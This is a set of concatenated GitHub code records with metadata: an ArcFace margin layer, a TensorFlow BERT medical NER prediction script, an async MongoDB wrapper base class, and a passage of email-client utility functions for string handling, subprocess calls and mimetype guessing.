np.sqrt(1 / label_counts)\n margins = (tmp - tmp.min()) / (tmp.max() - tmp.min()) * arcface_m_x + arcface_m_y\n return margins\n", "repo_name": "ryota0051/nishika-sake", "sub_path": "src/layer/arcface_adaptive_margin.py", "file_name": "arcface_adaptive_margin.py", "file_ext": "py", "file_size_in_byte": 2965, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn.modules", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 34, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 34, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 35, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.sqrt", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 48, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 51, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn.functional.linear", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn.init.xavier_uniform_", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 74, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.nn.functional.linear", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 85, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 85, "usage_type": "call"}]} {"seq_id": "1659336680", "text": "import logging\nimport tensorflow as tf\nimport os\nimport argparse\nimport random\nimport json\n\n\nfrom collections import defaultdict\nfrom model import MyModel\nfrom utils import DataProcessor_MTL_BERT_Test as DataProcessor_Test\nfrom utils import load_vocabulary\nfrom utils import extract_kvpairs_in_bioes_type\nfrom bert import modeling as bert_modeling\n\n\nlogger = logging.getLogger()\n\ndef get_vocab(args):\n \"\"\"获得字典\"\"\"\n logger.info(\"loading vocab...\")\n # w2i_char, i2w_char = load_vocabulary(\"./bert_model/chinese_L-12_H-768_A-12/vocab.txt\") # 单词表\n w2i_char, i2w_char = load_vocabulary(\"./bert_model/chinese_roberta_wwm_large_ext/vocab.txt\") # 单词表\n w2i_bio, i2w_bio = load_vocabulary(os.path.join(args.data_dir, \"vocab_bio.txt\")) # BIO表\n w2i_attr, i2w_attr = load_vocabulary(os.path.join(args.data_dir, \"vocab_attr.txt\")) # 实体归一化 [咳嗽 咳嗽 null null null null]\n w2i_type, i2w_type = load_vocabulary(os.path.join(args.data_dir, \"vocab_type.txt\")) # 实体属性 [1 1 null null null null null]\n vocab_dict = {\n \"w2i_char\": w2i_char,\n \"i2w_char\": i2w_char,\n \"w2i_bio\": w2i_bio,\n \"i2w_bio\": i2w_bio,\n \"w2i_attr\": w2i_attr,\n \"i2w_attr\": i2w_attr,\n \"w2i_type\": w2i_type,\n \"i2w_type\": i2w_type\n }\n return vocab_dict\n\ndef get_predict_feature_data(args, vocab_dict):\n data_processor_test = DataProcessor_Test(\n os.path.join(args.test_input_file),\n vocab_dict['w2i_char'],\n vocab_dict['w2i_bio'],\n vocab_dict['w2i_attr'],\n vocab_dict['w2i_type'],\n shuffling=False\n )\n return data_processor_test\n\ndef build_model(args, vocab_dict):\n \"\"\"初始化模型\"\"\"\n logger.info(\"building model...\")\n # bert_config_path = \"./bert_model/chinese_L-12_H-768_A-12/bert_config.json\"\n bert_config_path = \"./bert_model/chinese_roberta_wwm_large_ext/bert_config.json\"\n bert_config = bert_modeling.BertConfig.from_json_file(bert_config_path)\n\n model = MyModel(bert_config=bert_config,\n vocab_size_bio=len(vocab_dict['w2i_bio']),\n vocab_size_attr=len(vocab_dict['w2i_attr']),\n vocab_size_type=len(vocab_dict['w2i_type']),\n O_tag_index=vocab_dict['w2i_bio'][\"O\"],\n use_lstm=False,\n use_crf=args.use_crf) #改\n\n logger.info(\"model params:\")\n params_num_all = 0\n for variable in tf.trainable_variables():\n params_num = 1\n for dim in variable.shape:\n params_num *= dim\n params_num_all += params_num\n logger.info(\"\\t {} {} {}\".format(variable.name, variable.shape, params_num))\n logger.info(\"all params num: \" + str(params_num_all))\n return model\n\ndef predict_evaluate(sess, model, data_processor, vocab_dict, max_batches=None, batch_size=1024):\n chars_seq = []\n preds_kvpair = []\n eids = []\n batches_sample = 0\n\n while True:\n (inputs_seq_batch,\n inputs_mask_batch,\n inputs_segment_batch,\n eids_batch) = data_processor.get_batch(batch_size)\n\n feed_dict = {\n model.inputs_seq: inputs_seq_batch,\n model.inputs_mask: inputs_mask_batch,\n model.inputs_segment: inputs_segment_batch\n }\n\n preds_seq_bio_batch, preds_seq_attr_batch, preds_seq_type_batch = sess.run(model.outputs, feed_dict)\n\n for pred_seq_bio, pred_seq_attr, pred_seq_type, input_seq, mask, eid in zip(preds_seq_bio_batch, preds_seq_attr_batch, preds_seq_type_batch, inputs_seq_batch,inputs_mask_batch, eids_batch):\n\n l = sum(mask) - 2\n\n pred_seq_bio = [vocab_dict['i2w_bio'][i] for i in pred_seq_bio[1:-1][:l]]\n char_seq = [vocab_dict['i2w_char'][i] for i in input_seq[1:-1][:l]]\n pred_seq_attr = [vocab_dict['i2w_attr'][i] for i in pred_seq_attr[1:-1][:l]]\n pred_seq_type = [vocab_dict['i2w_type'][i] for i in pred_seq_type[1:-1][:l]]\n\n pred_kvpair = extract_kvpairs_in_bioes_type(pred_seq_bio, char_seq, pred_seq_attr,\n pred_seq_type) # (attr,type,word)\n preds_kvpair.append(pred_kvpair) # {(attrs,types, words)}\n eids.append(eid)\n\n if data_processor.end_flag:\n data_processor.refresh()\n break\n\n batches_sample += 1\n if (max_batches is not None) and (batches_sample >= max_batches):\n break\n return (preds_kvpair, eids)\n\ndef predict(args, model, data_processor_test, vocab_dict):\n \"\"\"预测并输出结果\"\"\"\n # meta_path = os.path.join(args.save_dir, 'best_model.ckpt.meta')\n ckpt_path = os.path.join(args.save_dir, 'best_model.ckpt')\n saver = tf.train.Saver()\n with tf.Session() as sess:\n # sess.run(tf.global_variables_initializer())\n # saver = tf.train.import_meta_graph(meta_path)\n saver.restore(sess, ckpt_path)\n\n (preds_kvpair, eids) = predict_evaluate(sess, model, data_processor_test, vocab_dict, max_batches=2000, batch_size=32)\n \n # 将相同example id的数据以一定规则进行整合，得到样本级别的症状识别结果，用于评估。\n outputs = defaultdict(list)\n for i in range(len(eids)):\n if len(preds_kvpair[i]) != 0:\n outputs[eids[i]].extend(preds_kvpair[i])\n for eid, pairs in outputs.items():\n tmp_pred = defaultdict(list)\n if len(pairs) != 0:\n for pair in pairs:\n tmp_pred[pair[0]].append(pair[1])\n for k, v in tmp_pred.items():\n new_v = max(v, key=v.count)\n tmp_pred[k] = new_v\n # 如果key 或 value为 null，则删除\n tmp_pred_new = {}\n for k, v in tmp_pred.items():\n if k != 'null' and v != 'null':\n tmp_pred_new[k] = v\n outputs[eid] = tmp_pred_new\n # 将那些预测为空的样本id也存入进来，防止输出的样本缺失\n for eid in eids:\n if eid not in outputs:\n outputs[eid] = {}\n print(\"测试样本数量为：\", len(outputs))\n pred_path = os.path.join(args.test_output_file)\n\n with open(pred_path, 'w', encoding='utf-8') as json_file:\n json.dump(outputs, json_file, ensure_ascii=False, indent=4)\n print('=========end prediction===========')\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_dir', '-dd', type=str, default='data/near_data_256', help='Train/dev data path')\n parser.add_argument('--save_dir', '-sd', type=str, default='save_model', help='Path to save, load model')\n parser.add_argument('--test_input_file', '-tif', type=str, default='dataset/test.json', help='Input file for prediction')\n parser.add_argument('--test_output_file', '-tof', type=str, default='roberta-xlarge-256.json', help='Output file for prediction')\n parser.add_argument('--word_embedding_dim', '-wed', type=int, default=300, help='Word embedding dim')\n parser.add_argument('--encoder_hidden_dim', '-ehd', type=int, default=300, help='LSTM encoder hidden dim')\n parser.add_argument('--use_crf', '-crf', action='store_true', default=True, help='Whether to use CRF')\n args = parser.parse_args()\n vocab_dict = get_vocab(args)\n model = build_model(args, vocab_dict)\n tf_config = tf.ConfigProto(allow_soft_placement=True)\n tf_config.gpu_options.allow_growth = True\n data_processor_test = get_predict_feature_data(args, vocab_dict)\n predict(args, model, data_processor_test, vocab_dict)\n", "repo_name": "zhaoxiongjun/DSD", "sub_path": "baselines/NER-DSD/predict.py", "file_name": "predict.py", "file_ext": "py", "file_size_in_byte": 7653, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "utils.load_vocabulary", "line_number": 23, "usage_type": "call"}, {"api_name": "utils.load_vocabulary", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "utils.load_vocabulary", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "utils.load_vocabulary", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "utils.DataProcessor_MTL_BERT_Test", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "bert.modeling.BertConfig.from_json_file", "line_number": 55, "usage_type": "call"}, {"api_name": "bert.modeling.BertConfig", "line_number": 55, "usage_type": "attribute"}, {"api_name": "bert.modeling", "line_number": 55, "usage_type": "name"}, {"api_name": "model.MyModel", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.trainable_variables", "line_number": 67, "usage_type": "call"}, {"api_name": "model.inputs_seq", "line_number": 89, "usage_type": "attribute"}, {"api_name": "model.inputs_mask", "line_number": 90, "usage_type": "attribute"}, {"api_name": "model.inputs_segment", "line_number": 91, "usage_type": "attribute"}, {"api_name": "model.outputs", "line_number": 94, "usage_type": "attribute"}, {"api_name": "utils.extract_kvpairs_in_bioes_type", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 124, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 132, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path", "line_number": 155, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 158, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 162, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 173, "usage_type": "call"}]} {"seq_id": "31883719038", "text": "from typing import TYPE_CHECKING, Any, Generic, Union\n\nfrom bson.codec_options import CodecOptions\nfrom pymongo.client_session import ClientSession\nfrom pymongo.collection import Collection\nfrom pymongo.command_cursor import CommandCursor, RawBatchCommandCursor\nfrom pymongo.cursor import Cursor, RawBatchCursor\nfrom pymongo.database import Database\nfrom pymongo.mongo_client import MongoClient\nfrom pymongo.read_concern import ReadConcern\nfrom pymongo.read_preferences import _ServerMode\nfrom pymongo.typings import _DocumentType\nfrom pymongo.write_concern import WriteConcern\n\nif TYPE_CHECKING:\n from .command_cursor import _LatentCursor\n\n\nclass AsyncBase(Generic[_DocumentType]):\n \"\"\"Base Class for AsyncIOMongoDB Instances\"\"\"\n\n dispatch: Union[\n \"_LatentCursor[_DocumentType]\",\n ClientSession,\n Collection[_DocumentType],\n CommandCursor[_DocumentType],\n Cursor[_DocumentType],\n Database[_DocumentType],\n MongoClient[_DocumentType],\n RawBatchCursor[_DocumentType],\n RawBatchCommandCursor[_DocumentType],\n ]\n\n def __init__(\n self,\n dispatch: Union[\n \"_LatentCursor[_DocumentType]\",\n ClientSession,\n Collection[_DocumentType],\n CommandCursor[_DocumentType],\n Cursor[_DocumentType],\n Database[_DocumentType],\n MongoClient[_DocumentType],\n RawBatchCursor[_DocumentType],\n RawBatchCommandCursor[_DocumentType],\n ],\n ) -> None:\n self.dispatch = dispatch\n\n def __eq__(self, other: Any) -> bool:\n if (\n isinstance(other, self.__class__)\n and hasattr(self, \"dispatch\")\n and hasattr(other, \"dispatch\")\n ):\n return self.dispatch == other.dispatch\n\n return NotImplemented\n\n def __hash__(self):\n return hash(self.dispatch)\n\n def __repr__(self) -> str:\n return type(self).__name__ + f\"({self.dispatch!r})\"\n\n\nclass AsyncBaseProperty(AsyncBase):\n \"\"\"Base class property for AsyncIOMongoDB instances\"\"\"\n\n dispatch: Union[Collection, Database, MongoClient]\n\n @property\n def codec_options(self) -> CodecOptions:\n return self.dispatch.codec_options\n\n @property\n def read_preference(self) -> _ServerMode:\n return self.dispatch.read_preference\n\n @property\n def read_concern(self) -> ReadConcern:\n return self.dispatch.read_concern\n\n @property\n def write_concern(self) -> WriteConcern:\n return self.dispatch.write_concern\n", "repo_name": "userbotindo/caligo", "sub_path": "caligo/core/database/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 2556, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 50, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Generic", "line_number": 19, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 22, "usage_type": "name"}, {"api_name": "pymongo.client_session.ClientSession", "line_number": 24, "usage_type": "name"}, {"api_name": "pymongo.collection.Collection", "line_number": 25, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 25, "usage_type": "name"}, {"api_name": "pymongo.command_cursor.CommandCursor", "line_number": 26, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 26, "usage_type": "name"}, {"api_name": "pymongo.cursor.Cursor", "line_number": 27, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 27, "usage_type": "name"}, {"api_name": "pymongo.database.Database", "line_number": 28, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 28, "usage_type": "name"}, {"api_name": "pymongo.mongo_client.MongoClient", "line_number": 29, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 29, "usage_type": "name"}, {"api_name": "pymongo.cursor.RawBatchCursor", "line_number": 30, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 30, "usage_type": "name"}, {"api_name": "pymongo.command_cursor.RawBatchCommandCursor", "line_number": 31, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 36, "usage_type": "name"}, {"api_name": "pymongo.client_session.ClientSession", "line_number": 38, "usage_type": "name"}, {"api_name": "pymongo.collection.Collection", "line_number": 39, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 39, "usage_type": "name"}, {"api_name": "pymongo.command_cursor.CommandCursor", "line_number": 40, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 40, "usage_type": "name"}, {"api_name": "pymongo.cursor.Cursor", "line_number": 41, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 41, "usage_type": "name"}, {"api_name": "pymongo.database.Database", "line_number": 42, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 42, "usage_type": "name"}, {"api_name": "pymongo.mongo_client.MongoClient", "line_number": 43, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 43, "usage_type": "name"}, {"api_name": "pymongo.cursor.RawBatchCursor", "line_number": 44, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 44, "usage_type": "name"}, {"api_name": "pymongo.command_cursor.RawBatchCommandCursor", "line_number": 45, "usage_type": "name"}, {"api_name": "pymongo.typings._DocumentType", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 70, "usage_type": "name"}, {"api_name": "pymongo.collection.Collection", "line_number": 70, "usage_type": "name"}, {"api_name": "pymongo.database.Database", "line_number": 70, "usage_type": "name"}, {"api_name": "pymongo.mongo_client.MongoClient", "line_number": 70, "usage_type": "name"}, {"api_name": "bson.codec_options.CodecOptions", "line_number": 73, "usage_type": "name"}, {"api_name": "pymongo.read_preferences._ServerMode", "line_number": 77, "usage_type": "name"}, {"api_name": "pymongo.read_concern.ReadConcern", "line_number": 81, "usage_type": "name"}, {"api_name": "pymongo.write_concern.WriteConcern", "line_number": 85, "usage_type": "name"}]} {"seq_id": "24814178517", "text": "from datetime import timedelta\nfrom datetime import datetime\nfrom collections import deque\nimport logging\nimport mimetypes\nimport os\nimport re\nimport shlex\nimport subprocess\nimport email\nfrom email.mime.audio import MIMEAudio\nfrom email.mime.base import MIMEBase\nfrom email.mime.image import MIMEImage\nfrom email.mime.text import MIMEText\nimport asyncio\n\nimport urwid\nimport magic\n\n\ndef split_commandline(s):\n \"\"\"\n splits semi-colon separated commandlines, ignoring quoted separators\n \"\"\"\n splitter = r'''((?:[^;\"']|\"(\\\\\\\\|\\\\\"|[^\"])*\"|'(\\\\\\\\|\\\\'|[^'])*')+)'''\n return re.split(splitter, s)[1::4]\n\n\ndef split_commandstring(cmdstring):\n \"\"\"\n split command string into a list of strings to pass on to subprocess.Popen\n and the like. This simply calls shlex.split but works also with unicode\n bytestrings.\n \"\"\"\n assert isinstance(cmdstring, str)\n return shlex.split(cmdstring)\n\n\ndef string_sanitize(string, tab_width=8):\n r\"\"\"\n strips, and replaces non-printable characters\n\n :param tab_width: number of spaces to replace tabs with. Read from\n `globals.tabwidth` setting if `None`\n :type tab_width: int or `None`\n\n >>> string_sanitize(' foo\\rbar ', 8)\n ' foobar '\n >>> string_sanitize('foo\\tbar', 8)\n 'foo bar'\n >>> string_sanitize('foo\\t\\tbar', 8)\n 'foo bar'\n \"\"\"\n\n string = string.replace('\\r', '')\n\n lines = list()\n for line in string.split('\\n'):\n tab_count = line.count('\\t')\n\n if tab_count > 0:\n line_length = 0\n new_line = list()\n for i, chunk in enumerate(line.split('\\t')):\n line_length += len(chunk)\n new_line.append(chunk)\n\n if i < tab_count:\n next_tab_stop_in = tab_width - (line_length % tab_width)\n new_line.append(' ' * next_tab_stop_in)\n line_length += next_tab_stop_in\n lines.append(''.join(new_line))\n else:\n lines.append(line)\n\n return '\\n'.join(lines)\n\n\ndef string_decode(string, enc='ascii'):\n \"\"\"\n safely decodes string to unicode bytestring, respecting `enc` as a hint.\n\n :param string: the string to decode\n :type string: str or unicode\n :param enc: a hint what encoding is used in string ('ascii', 'utf-8', ...)\n :type enc: str\n :returns: the unicode decoded input string\n :rtype: unicode\n\n \"\"\"\n\n if enc is None:\n enc = 'ascii'\n try:\n string = str(string, enc, errors='replace')\n except LookupError: # malformed enc string\n string = string.decode('ascii', errors='replace')\n except TypeError: # already str\n pass\n return string\n\n\ndef shorten(string, maxlen):\n \"\"\"shortens string if longer than maxlen, appending ellipsis\"\"\"\n if 1 < maxlen < len(string):\n string = string[:maxlen - 1] + '…'\n return string[:maxlen]\n\n\ndef shorten_author_string(authors_string, maxlength):\n \"\"\"\n Parse a list of authors concatenated as a text string (comma\n separated) and smartly adjust them to maxlength.\n\n 1) If the complete list of sender names does not fit in maxlength, it\n tries to shorten names by using only the first part of each.\n\n 2) If the list is still too long, hide authors according to the\n following priority:\n\n - First author is always shown (if too long is shorten with ellipsis)\n\n - If possible, last author is also shown (if too long, uses ellipsis)\n\n - If there are more than 2 authors in the thread, show the\n maximum of them. More recent senders have higher priority.\n\n - If it is finally necessary to hide any author, an ellipsis\n between first and next authors is added.\n \"\"\"\n\n # I will create a list of authors by parsing author_string. I use\n # deque to do popleft without performance penalties\n authors = deque()\n\n # If author list is too long, it uses only the first part of each\n # name (gmail style)\n short_names = len(authors_string) > maxlength\n for au in authors_string.split(\", \"):\n if short_names:\n author_as_list = au.split()\n if len(author_as_list) > 0:\n authors.append(author_as_list[0])\n else:\n authors.append(au)\n\n # Author chain will contain the list of author strings to be\n # concatenated using commas for the final formatted author_string.\n authors_chain = deque()\n\n if len(authors) == 0:\n return ''\n\n # reserve space for first author\n first_au = shorten(authors.popleft(), maxlength)\n remaining_length = maxlength - len(first_au)\n\n # Tries to add an ellipsis if no space to show more than 1 author\n if authors and maxlength > 3 and remaining_length < 3:\n first_au = shorten(first_au, maxlength - 3)\n remaining_length += 3\n\n # Tries to add as more authors as possible. It takes into account\n # that if any author will be hidden, and ellipsis should be added\n while authors and remaining_length >= 3:\n au = authors.pop()\n if len(au) > 1 and (remaining_length == 3 or (authors and\n remaining_length < 7)):\n authors_chain.appendleft('…')\n break\n else:\n if authors:\n # 5= ellipsis + 2 x comma and space used as separators\n au_string = shorten(au, remaining_length - 5)\n else:\n # 2 = comma and space used as separator\n au_string = shorten(au, remaining_length - 2)\n remaining_length -= len(au_string) + 2\n authors_chain.appendleft(au_string)\n\n # Add the first author to the list and concatenate list\n authors_chain.appendleft(first_au)\n authorsstring = ', '.join(authors_chain)\n return authorsstring\n\n\ndef pretty_datetime(d):\n \"\"\"\n translates :class:`datetime` `d` to a \"sup-style\" human readable string.\n\n >>> now = datetime.now()\n >>> now.strftime('%c')\n 'Sat 31 Mar 2012 14:47:26 '\n >>> pretty_datetime(now)\n 'just now'\n >>> pretty_datetime(now - timedelta(minutes=1))\n '1min ago'\n >>> pretty_datetime(now - timedelta(hours=5))\n '5h ago'\n >>> pretty_datetime(now - timedelta(hours=12))\n '02:54am'\n >>> pretty_datetime(now - timedelta(days=1))\n 'yest 02pm'\n >>> pretty_datetime(now - timedelta(days=2))\n 'Thu 02pm'\n >>> pretty_datetime(now - timedelta(days=7))\n 'Mar 24'\n >>> pretty_datetime(now - timedelta(days=356))\n 'Apr 2011'\n \"\"\"\n ampm = d.strftime('%p').lower()\n if len(ampm):\n hourfmt = '%I' + ampm\n hourminfmt = '%I:%M' + ampm\n else:\n hourfmt = '%Hh'\n hourminfmt = '%H:%M'\n\n now = datetime.now()\n today = now.date()\n if d.date() == today or d > now - timedelta(hours=6):\n delta = datetime.now() - d\n if delta.seconds < 60:\n string = 'just now'\n elif delta.seconds < 3600:\n string = '%dmin ago' % (delta.seconds // 60)\n elif delta.seconds < 6 * 3600:\n string = '%dh ago' % (delta.seconds // 3600)\n else:\n string = d.strftime(hourminfmt)\n elif d.date() == today - timedelta(1):\n string = d.strftime('yest ' + hourfmt)\n elif d.date() > today - timedelta(7):\n string = d.strftime('%a ' + hourfmt)\n elif d.year != today.year:\n string = d.strftime('%b %Y')\n else:\n string = d.strftime('%b %d')\n return string_decode(string, 'UTF-8')\n\n\ndef call_cmd(cmdlist, stdin=None):\n \"\"\"\n get a shell commands output, error message and return value and immediately\n return.\n\n .. warning::\n\n This returns with the first screen content for interactive commands.\n\n :param cmdlist: shellcommand to call, already splitted into a list accepted\n by :meth:`subprocess.Popen`\n :type cmdlist: list of str\n :param stdin: string to pipe to the process\n :type stdin: str, bytes, or None\n :return: triple of stdout, stderr, return value of the shell command\n :rtype: str, str, int\n \"\"\"\n termenc = urwid.util.detected_encoding\n if isinstance(stdin, str):\n stdin = stdin.encode(termenc)\n try:\n\n logging.debug(\"Calling %s\" % cmdlist)\n proc = subprocess.Popen(\n cmdlist,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdin=subprocess.PIPE if stdin is not None else None)\n except OSError as e:\n out = b''\n err = e.strerror\n ret = e.errno\n else:\n out, err = proc.communicate(stdin)\n ret = proc.returncode\n\n out = string_decode(out, termenc)\n err = string_decode(err, termenc)\n return out, err, ret\n\n\nasync def call_cmd_async(cmdlist, stdin=None, env=None):\n \"\"\"Given a command, call that command asynchronously and return the output.\n\n This function only handles `OSError` when creating the subprocess, any\n other exceptions raised either durring subprocess creation or while\n exchanging data with the subprocess are the caller's responsibility to\n handle.\n\n If such an `OSError` is caught, then returncode will be set to 1, and the\n error value will be set to the str() value of the exception.\n\n :type cmdlist: list of str\n :param stdin: string to pipe to the process\n :type stdin: str\n :return: Tuple of stdout, stderr, returncode\n :rtype: tuple[str, str, int]\n \"\"\"\n termenc = urwid.util.detected_encoding\n cmdlist = [s.encode(termenc) for s in cmdlist]\n\n environment = os.environ.copy()\n if env is not None:\n environment.update(env)\n logging.debug('ENV = %s', environment)\n logging.debug('CMD = %s', cmdlist)\n try:\n proc = await asyncio.create_subprocess_exec(\n *cmdlist,\n env=environment,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE,\n stdin=asyncio.subprocess.PIPE if stdin else None)\n except OSError as e:\n return ('', str(e), 1)\n out, err = await proc.communicate(stdin.encode(termenc) if stdin else None)\n return (out.decode(termenc), err.decode(termenc), proc.returncode)\n\n\ndef guess_mimetype(blob):\n \"\"\"\n uses file magic to determine the mime-type of the given data blob.\n\n :param blob: file content as read by file.read()\n :type blob: data\n :returns: mime-type, falls back to 'application/octet-stream'\n :rtype: str\n \"\"\"\n mimetype = 'application/octet-stream'\n # this is a bit of a hack to support different versions of python magic.\n # Hopefully at some point this will no longer be necessary\n #\n # the version with open() is the bindings shipped with the file source from\n # http://darwinsys.com/file/ - this is what is used by the python-magic\n # package on Debian/Ubuntu. However, it is not available on pypi/via pip.\n #\n # the version with from_buffer() is available at\n # https://github.com/ahupp/python-magic and directly installable via pip.\n #\n # for more detail see https://github.com/pazz/alot/pull/588\n if hasattr(magic, 'open'):\n m = magic.open(magic.MAGIC_MIME_TYPE)\n m.load()\n magictype = m.buffer(blob)\n elif hasattr(magic, 'from_buffer'):\n # cf. issue #841\n magictype = magic.from_buffer(blob, mime=True) or magictype\n else:\n raise Exception('Unknown magic API')\n\n # libmagic does not always return proper mimetype strings, cf. issue #459\n if re.match(r'\\w+\\/\\w+', magictype):\n mimetype = magictype\n return mimetype\n\n\ndef guess_encoding(blob):\n \"\"\"\n uses file magic to determine the encoding of the given data blob.\n\n :param blob: file content as read by file.read()\n :type blob: data\n :returns: encoding\n :rtype: str\n \"\"\"\n # this is a bit of a hack to support different versions of python magic.\n # Hopefully at some point this will no longer be necessary\n #\n # the version with open() is the bindings shipped with the file source from\n # http://darwinsys.com/file/ - this is what is used by the python-magic\n # package on Debian/Ubuntu. However it is not available on pypi/via pip.\n #\n # the version with from_buffer() is available at\n # https://github.com/ahupp/python-magic and directly installable via pip.\n #\n # for more detail see https://github.com/pazz/alot/pull/588\n if hasattr(magic, 'open'):\n m = magic.open(magic.MAGIC_MIME_ENCODING)\n m.load()\n return m.buffer(blob)\n elif hasattr(magic, 'from_buffer'):\n m = magic.Magic(mime_encoding=True)\n return m.from_buffer(blob)\n else:\n raise Exception('Unknown magic API')\n\n\ndef try_decode(blob):\n \"\"\"Guess the encoding of blob and try to decode it into a str.\n\n :param bytes blob: The bytes to decode\n :returns: the decoded blob\n :rtype: str\n \"\"\"\n assert isinstance(blob, bytes), 'cannot decode a str or non-bytes object'\n return blob.decode(guess_encoding(blob))\n\n\ndef libmagic_version_at_least(version):\n \"\"\"\n checks if the libmagic library installed is more recent than a given\n version.\n\n :param version: minimum version expected in the form XYY (i.e. 